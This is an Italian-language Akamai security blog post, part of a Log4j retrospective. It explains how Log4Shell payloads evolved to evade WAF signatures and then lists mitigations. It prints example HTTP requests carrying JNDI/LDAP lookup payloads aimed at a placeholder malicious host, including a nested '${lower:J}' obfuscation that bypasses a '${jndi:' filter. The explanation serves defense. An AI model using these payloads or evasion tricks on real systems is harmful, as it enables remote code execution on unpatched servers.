Skip to main content
Dark background with blue code overlay
Blog

Retrospettiva su Log4j - Parte 3: Evoluzione - Diversificazione dei payload e degli attacchi

Charlie Gero

Written by

Charlie Gero

January 12, 2022

Charlie Gero è VP & CTO della Enterprise Division di Akamai e guida l'Advanced Projects Group. Attualmente il suo lavoro si concentra su ricerche all'avanguardia nei settori della sicurezza, della matematica applicata, della crittografia e degli algoritmi distribuiti, al fine di sviluppare la prossima generazione di tecnologie che proteggeranno la crescente base di clienti di Akamai. Grazie alle sue ricerche in Akamai ha depositato quasi 30 brevetti in crittografia, compressione, sistemi di rete performanti, distribuzione di contenuti multimediali in tempo reale e molto altro; è laureato in fisica e in informatica. Lavora in Akamai da quasi 15 anni, dopo aver fondato una start-up e aver ricoperto posizioni chiave nel settore delle scienze informatiche in aziende farmaceutiche e del networking.

Nella Parte 2 di questa serie, ti ho descritto l'esfiltrazione dei dati e gli exploit di esecuzione di codice in remoto, nonché la superficie delle minacce. In questo post, voglio parlare di ciò che abbiamo scoperto sull'evoluzione degli attacchi man mano che procediamo la nostra ricerca. Ad esempio, nel dicembre 2021, Hidecki Okamoto di Akamai ha scoperto una nuova vulnerabilità. Monitorando continuamente la situazione e fornendo protezioni ai propri clienti, Akamai ha osservato le minacce evolversi in due direzioni distinte. La prima riguarda i payload.

Le aziende si affidano sempre più a misure di mitigazione come i Web Application Firewall (WAF) per proteggerle. Tali sistemi ricercano la presenza di stringhe sfruttabili nelle richieste web eliminando quelle che trovano. Un esempio molto semplice e forzato potrebbe essere eliminare qualsiasi richiesta web che contenga i seguenti sette caratteri adiacenti l'uno all'altro:

${jndi:

Ciò eliminerebbe il seguente esempio basato sul web poiché individuerebbe la firma evidenziata nella richiesta:

GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example

A prima vista potrebbe sembrare una firma legittima da cercare, ma dobbiamo ricordare che Log4j consente costruzioni incredibilmente complesse e nidificate. Per aggirare quanto sopra, gli aggressori possono modificare l'attacco in modo che assomigli al seguente:

GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example

In questo esempio, i sette caratteri speciali adiacenti precedenti ${jndi: non sono più presenti e, di conseguenza, la firma WAF illegittima verrebbe ignorata con successo.

Esaminiamo le azioni di Log4j dopo aver ricevuto il percorso: /${${lower:J}ndi:ldap://rce.malware.example/a} per la registrazione.

In primo luogo, espanderebbe l'espressione di ricerca di ${lower:J} a j, determinando la seguente stringa provvisoria:

/${jndi:ldap://rce.malware.example/a}

Successivamente, rilevando l'espressione di ricerca JNDI di ${jndi:ldap://rce.malware.example/a}, Log4j passerebbe il pseudo URL LDAP ldap://rce.malware.example/a in JNDI, causando l'exploit descritto dettagliatamente in precedenza.

Ciò si traduce in un gioco di "inseguimento" in cui gli aggressori utilizzano una costruzione del payload fino a quando non vengono bloccati, a quel punto modificano il payload per tentare ancora una volta di aggirare i controlli della firma, fino a quando non vengono nuovamente rilevati e così via.

In Akamai abbiamo assistito a tentativi di aggirare i controlli attraverso la manipolazione di stringhe di payload simili e molto più avanzate rispetto a quelle precedenti e attraverso approcci meno ovvi come codifiche di contenuti creativi, codifiche di trasferimento, set di caratteri e altro ancora.

La seconda evoluzione che stiamo osservando riguarda la diversificazione degli obiettivi e dei protocolli di attacco. Come menzionato nella Parte 2, le applicazioni basate sul web sono attualmente il vettore di attacco principale, ma con l'aumento delle protezioni del vettore web e l'applicazione continua di patch, stiamo assistendo a un aumento dei tentativi su DNS e altri protocolli meno ovvi.

Soluzione e mitigazioni

Data l'entità dei diversi vettori di attacco che possono essere sfruttati contro questa vulnerabilità, l'unica vera soluzione è applicare patch a tutti i sistemi vulnerabili. Tuttavia, come affermato in precedenza, ad alcuni sistemi potrebbe non essere possibile applicare patch, in quanto si tratta di sistemi integrati senza metodo per gli aggiornamenti o di applicazioni commerciali pronte all'uso per le quali le tempistiche del fornitore potrebbero non essere veloci come desiderato.

Un'ulteriore aspetto che complica la mitigazione è il fatto che molte aziende non hanno ancora la visibilità completa richiesta nei propri ambienti per sapere esattamente quali sistemi siano vulnerabili.

Abbiamo esaminato le mitigazioni in un post precedente sul blog di Akamai e sul nostro blog del team Guardicore. Per ricapitolare, Akamai consiglia le azioni seguenti:

1. Per i sistemi a cui è possibile applicare patch, procedi immediatamente.
Ciò fornisce la massima misura di protezione. Assicurati che Log4j stia eseguendo la versione più recente (2.17.0 al momento della stesura di questo articolo).
2. Per i sistemi che sono stati identificati come vulnerabili, ma per i quali è necessario attendere l'aggiornamento di Log4j, riduci la superficie delle minacce con le seguenti impostazioni, ove possibile:
Per le versioni di Log4j ≥ 2.10, passare "-Dlog4j2.formatMsgNoLookups=true" all'applicazione all'avvio disabiliterà le espressioni di ricerca.
Per Java, assicurati che le seguenti impostazioni siano vere sui tuoi sistemi:
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Esegui un WAF, come la soluzione Kona leader di mercato di Akamai, davanti a tutte le tue applicazioni web per filtrare i tentativi di attacco.
Questa azione dovrebbe essere eseguita sia per i server interni che per quelli esterni.
4. Esegui un firewall DNS, come Akamai Enterprise Threat Protector, sia per ottenere visibilità sui payload DNS sospetti che attraversano il tuo ambiente, sia per bloccarli.
5. Esegui uno strumento per ottenere una visibilità completa sui processi in esecuzione nel tuo ambiente, sia esso nativo o cloud.
Utilizza strumenti, come quelli forniti da Akamai Guardicore Segmentation, per fornire visibilità su tutti i processi in esecuzione nel tuo ambiente. Utilizza questi strumenti per individuare applicazioni con vulnerabilità di cui non eri a conoscenza.
6. Riduci al minimo le comunicazioni per le applicazioni interessate.
Utilizza la segmentazione basata sull'identità, come quella fornita da Akamai Guardicore Segmentation, per limitare le possibilità di comunicazione dei sistemi vulnerabili.

Il futuro

Queste strategie di mitigazione possono ridurre significativamente il rischio per i sistemi vulnerabili mentre viene progettata ed eseguita una strategia di patch. La nostra retrospettiva è quasi conclusa; finora, abbiamo esaminato il background, gli exploit e le mitigazioni di una vulnerabilità di Log4j. Nella Parte 4, concluderemo con un riepilogo delle lezioni apprese. Non perdertela.

 



Charlie Gero

Written by

Charlie Gero

January 12, 2022

Charlie Gero è VP & CTO della Enterprise Division di Akamai e guida l'Advanced Projects Group. Attualmente il suo lavoro si concentra su ricerche all'avanguardia nei settori della sicurezza, della matematica applicata, della crittografia e degli algoritmi distribuiti, al fine di sviluppare la prossima generazione di tecnologie che proteggeranno la crescente base di clienti di Akamai. Grazie alle sue ricerche in Akamai ha depositato quasi 30 brevetti in crittografia, compressione, sistemi di rete performanti, distribuzione di contenuti multimediali in tempo reale e molto altro; è laureato in fisica e in informatica. Lavora in Akamai da quasi 15 anni, dopo aver fondato una start-up e aver ricoperto posizioni chiave nel settore delle scienze informatiche in aziende farmaceutiche e del networking.